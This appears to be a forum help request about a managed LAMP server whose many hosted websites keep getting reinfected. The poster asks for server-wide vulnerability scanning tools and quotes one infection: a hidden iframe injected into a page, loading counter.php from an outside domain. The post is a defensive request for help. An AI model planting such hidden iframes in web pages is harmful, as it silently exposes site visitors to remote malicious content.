A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. They run a monthly scan, remove infected software, but can't say from which sites it originates as the log files seem to be clean.
He uses cuteFtp Pro with password encryption so it's probably not FTP related.
It's a LAMP system with up-to-date Apache and PHP / MySQL installations.
Now are there any ways or tools to scan the whole server for vulnerabilities, without checking each websites manually? It is possible that there are some old WordPressinstallations on there, but it would takes ages to check each website individually.
One of the infections look likes this:
</html>
<iframe src="http://autobedrijfboekema.nl/counter.php"
style="visibility: hidden; position: absolute; left: 0px; top: 0px"
width="10" height="10"/>